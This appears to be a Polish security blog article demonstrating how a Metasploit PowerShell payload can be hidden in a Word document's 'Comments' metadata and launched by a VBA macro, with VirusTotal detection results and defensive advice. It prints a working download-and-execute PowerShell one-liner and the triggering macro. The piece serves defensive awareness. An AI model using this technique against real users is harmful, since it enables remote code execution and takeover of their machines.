Menu dostępności

Złośliwy kod w metadanych dokumentu!? Zobacz, jak można go ukryć i wywołać

Czy kiedykolwiek przyszło Ci do głowy, że właściwości dokumentu, takie jak „Firma”, „Tytuł”, czy „Komentarze” mogłyby zawierać złośliwy kod? Czy wiesz, że zawartość metadanych pliku nie jest sprawdzana przez oprogramowanie antywirusowe? W związku z tym jaką masz pewność, że w metadanych plików przechowywanych na dysku lub na serwach w firmie nie ma zaszytego jakiegoś złośliwego kodu?

Na te i na podobne pytania znajdziesz odpowiedź w poniższym artykule. Przeprowadzimy w nim scenariusz takiego ataku i sprawdzimy, jak radzi sobie z tym problemem specjalistyczne oprogramowanie dla bezpieczeństwa.


Metadane – dodatkowe informacje o pliku


Czy pojęcie metadanych jest Ci obce? W milionach plików zapisanych na naszych komputerach i urządzeniach (m.in. pliki tekstowe, dokumenty Office, zdjęcia) znajduje się sporo nieoczywistej informacji. Co więcej, ich odczyt i modyfikacja są często banalnie proste. To właśnie są metadane, czyli dodatkowe informacje pozwalające opisać dokument. Metadane wykorzystywane są między innymi przez programy do klasyfikacji danych, systemy DLP, a także wszelkiego rodzaju indeksery pozwalające szybko wyszukać konkretny plik. Pliki z metadanymi szczególnie szybko indeksują się w Internecie, dlatego ważne jest nimi odpowiednie zarządzanie. W celu dostania się do metadanych wystarczy kliknąć dany plik prawym klawiszem myszy i wybrać opcję „Właściwości” lub otwierając w programie MS Office dokument należy przejść do menu „Plik->Właściwości” lub „Plik -> Informacje”

Właściwości pliku Microsoft Word
Właściwości pliku widziane w programie Microsoft Word

Jak umieścić złośliwy kod w metadanych dokumentu?


Wyobraźmy sobie sytuację, w której w zaawansowanych atrybutach dokumentu zaszyty jest złośliwy kod, który bez problemów może być uruchomiony od środka. Okazuje się, że takie możliwości stwarza nam pakiet Office i przy włączonych makrach możemy uruchomić ładunek przechowywany w metadanych dokumentu. Ciekawostką jest to, że przy tej operacji nie są zapisywane na dysk ani po sieci żadne dodatkowe pliki, więc metoda ta utrudnia jeszcze bardziej prace oprogramowaniu antywirusowemu, które w głównej mierze skupia swoją aktywność do sprawdzania plików zapisywanych na dysk. Jedną z ciekawych zalet metody przechowywania złośliwego kodu w dokumentach jest fakt, że oprogramowanie antywirusowe nie sprawdza zawartości metadanych! Przekonaliśmy się o tym testując na VirusTotal dokument, który zawierał linijkę złośliwego kodu wpisaną w atrybut” Komentarze” dokumentu Metadane.docm, ale o tym poniżej.


Utworzenie złośliwej komendy Powershell


W celu wygenerowania złośliwego skryptu posłużymy się narzędziem Metasploit, który dostarczy nam ładunek w postaci pliku DLL i linię komend Powershell za pośrednictwem serwera SMB. Dla firm, które posiadają zaimplementowane systemy bezpieczeństwa z głęboką inspekcją pakietów (Deep Packet Inspection), moduł umożliwia także dostarczenie ładunku po HTTP i pozwala szyfrować cały ruch za pomocą niestandardowego certyfikatu (HTTPS). Sprawi to, że atak w większej ilości przypadków może stać się jeszcze bardziej skuteczny. Moduł może być łatwo skonfigurowany przy użyciu następujących poleceń:

Opcja „set target 1” umożliwi nam wygenerowanie wersji skryptu w PowerShell z pobraniem ładunku dll z zasobu SMB. Jeśli chcielibyśmy to samo wywołanie uruchomić po HTTPS wówczas należałoby użyć modułu:

exploit/multi/script/web_delivery

Istnieje również możliwość wygenerowania podobnego wywołania pobrania DLL za pomocą wbudowanej w Windows komendy „rundll32.exe” (wtedy opcję „target” należy ustawić na 0). Uruchomienie exploita wygląda następująco:

Linijka złośliwego kodu wygenerowanego z Metasploit’a pobierająca i uruchamiająca ze ścieżki UNC (z uwzględnieniem proxy) bibliotekę dll (ładunek):

powershell.exe -nop -w hidden -c $y=new-object net.webclient; $y.proxy=[Net.WebRequest]::GetSystemWebProxy(); $y.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $y.downloadstring(’\\192.168.1.20\iWQp\kapitanhack.dll’);

Teraz kopiujemy powyższe wywołanie PowerShell i umieszczamy w atrybucie „Komentarze” dokumentu Word.

Komenda zaszyta w metadanych dokumentu

W celu przekonania się jak zareaguje oprogramowanie antywirusowe na powyższy plik sprawdziliśmy na portalu VirusTotal. Poniżej prezentujemy wynik, który wcale nas nie zaskoczył:


Uruchomienie złośliwego kodu z makro dokumentu


Do przeprowadzenia ataku nie pozostało nam nic innego jak utworzenia specjalnego kodu w makro w powyższym dokumencie i poprzez funkcję Shell() uruchomienie powyższego skryptu Powershell’a ukrytego w atrybucie „Komentarze” (ang. Comments):

Kod makro w dokumencie MS Office pozwalający uruchomić skrypt ukryty w metadanych, w atrybucie „Komentarze”:

Sub kapitanhack() Dim x As DocumentProperty For Each x In ActiveDocument.BuiltInDocumentProperties If x.Name = „Comments” Then Shell (p.Value) End If Next End Sub
Po tak przygotowanym dokumencie postanowiliśmy go sprawdzić jeszcze raz na VirusTotal (tym razem z zaszytym makro). Wyniki skanowania przedstawia ekran poniżej.

Ku naszemu zdziwieniu tylko 9 silników na 59 wykrywa nasze makro! Proponujemy tez zwrócić uwagę na to, jakie silniki je wykrywają. Podejrzewamy, że silniki które wykryły makro są wyczulone albo na wykrycie jakichkolwiek makr w dokumencie albo na zawartości w makro polecenia Shell(). Przypominamy, że po wcześniejszym sprawdzeniu dokumentu z samym ładunkiem umieszczonym w atrybucie komentarz tylko 2 skanery uznały dokument za złośliwy!

Na koniec możemy uruchomić makro otwierając dokument Word na stacji Windows 10. Po uruchomieniu makro przez użytkownika, na serwerze nasłuchującym ruch dostajemy otwartą sesję Meterpretera do jego komputera Windows 10. Możemy wykonywać dowolne polecenia.


Podsumowanie


Opisywana w powyższym artykule technika pozwala w łatwy sposób ukryć złośliwe polecenia wewnątrz właściwości dokumentu biurowego Microsoft. Makro, które wyzwala ładunek, nie jest uważane za szkodliwe przez większość z oprogramowań antywirusowych. Martwi nas również fakt, że zawartość pól właściwości dokumentu nie jest sprawdzana przez różnych markowych producentów antywirusów, co postaraliśmy się udowodnić skanując dokument w portalu VirusTotal. Tak więc problem może się pojawić w momencie, gdy użytkownik docelowy zostanie w jakiś sposób przekonany do otwarcia i uruchomienia makra – np. za pomocą jakiejś wymyślnej kampani phishingowej. Jedyną rzeczą, która może zatrzymać ten atak, jest system zapobiegania włamaniom do hosta (sonda HIPS), który usunie połączenie Meterpretera. Istnieją jednak metody, w których możliwe jest ominięcie HIPS przy użyciu certyfikatu i szyfrowania połączenia (pisaliśmy o tym powyżej).

Powyższe ćwiczenie odnieśmy do posiadanych w firmie skanerów i odpowiedzmy sobie sami na pytanie, czy jesteśmy bezpieczni?


Jak się chronić?


Przede wszystkim edukujmy użytkowników, żeby pod żadnym pozorem nie uruchamiali makr w dokumentach, do których nie mają zaufania. Jeśli znajdzie się jakiś dokument w sieci z makrem pod żadnym pozorem nie należy go uruchamiać! Dobrze też jest wyłączyć obsługę makr w dokumentach Office na stacjach roboczych.

Od strony infrastruktury możemy:

  • użyć narzędzi pozwalających przeszukać metadane umieszczonych w sieci plików i sprawdzić je pod kątem wyrażeń zawierających nietypowe ciągi znaków np. skrypt PowerShell., wywołanie pliku exe itp.
  • użyć specjalnych rozwiązań tzw. piaskownicy, w której będziemy mogli bezpiecznie przetestować uruchamiane dokumenty
  • wyposażyć się w rozwiązania wykrywające podejrzane zachowania bazujące na sztucznej inteligencji
  • monitorować wywołanie PowerShell na komputerach a także odpalane na nich komend wbudowanych w system Windows np. Rundll32.exe, mshta.exe, certutil.exe itp., które pozwalają na pobranie ładunku z dowolnego adresu sieciowego
  • zastosować się do porad z artykułów kampanii malware oraz socjotechnika jakie opublikowaliśmy na Kapitanie Hacku.

Polecamy kontakt z firmą Appeal w celu dowiedzenia się na temat szczegółów zabezpieczenia środowiska przed tego typu atakami.


Pozdrawiamy, Zespół Kapitan Hack

Popularne

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jeśli masz odrobinę szczęścia lub „odpowiednie umiejętności” i potrafisz zdobyć lokalne uprawnienia administracyjne na Twoim komputerze w firmie lub zaliczasz się do grona tych szczęściarzy, którzy pracuj...
Jak awaria Azure Front Door rzuciła cień na globalne usługi chmurowe

Jak awaria Azure Front Door rzuciła cień na globalne usługi chmurowe

W środę 9 października użytkownicy platformy Microsoft Azure na całym świecie doświadczyli poważnych zakłóceń. Wiele usług stało się niedostępnych, a administratorzy nie mogli nawet zalogować się do portalu...
Zero-day i groźna eskalacja uprawnień w systemie Windows –  analiza CVE-2025-59230 i ostrzeżenie CISA

Zero-day i groźna eskalacja uprawnień w systemie Windows –  analiza CVE-2025-59230 i ostrzeżenie CISA

Ostrzegamy wszystkie firmy i instytucje przed nowo ujawnioną luką w systemie Microsoft Windows – CVE-2025-59230. Jest to poważna podatność, umożliwiająca lokalnemu atakującemu z niskimi uprawnieniami uzyskanie...
Czego nie mówi Broadcom? Luka w VMware jest banalna do wykorzystania i korzysta z niej co najmniej jedna grupa hakerska!

Czego nie mówi Broadcom? Luka w VMware jest banalna do wykorzystania i korzysta z niej co najmniej jedna grupa hakerska!

Niedawno załatana wysoce poważna luka w zabezpieczeniach VMware jest wykorzystywana jako zero-day od października 2024 roku do wykonywania kodu z podwyższonymi uprawnieniami. Taką informacją podzieliło się w...